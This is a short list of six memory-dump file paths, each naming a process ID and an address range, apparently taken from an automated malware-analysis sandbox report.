memory/4956-2577-0x00007FF65FAC0000-0x00007FF65FEB6000-memory.dmp

memory/3388-2576-0x00007FF641220000-0x00007FF641616000-memory.dmp

memory/3000-2590-0x00007FF7BD1F0000-0x00007FF7BD5E6000-memory.dmp

memory/668-2591-0x00007FF6DE100000-0x00007FF6DE4F6000-memory.dmp

memory/1936-2592-0x00007FF613710000-0x00007FF613B06000-memory.dmp

memory/4884-2593-0x00007FF655100000-0x00007FF6554F6000-memory.dmp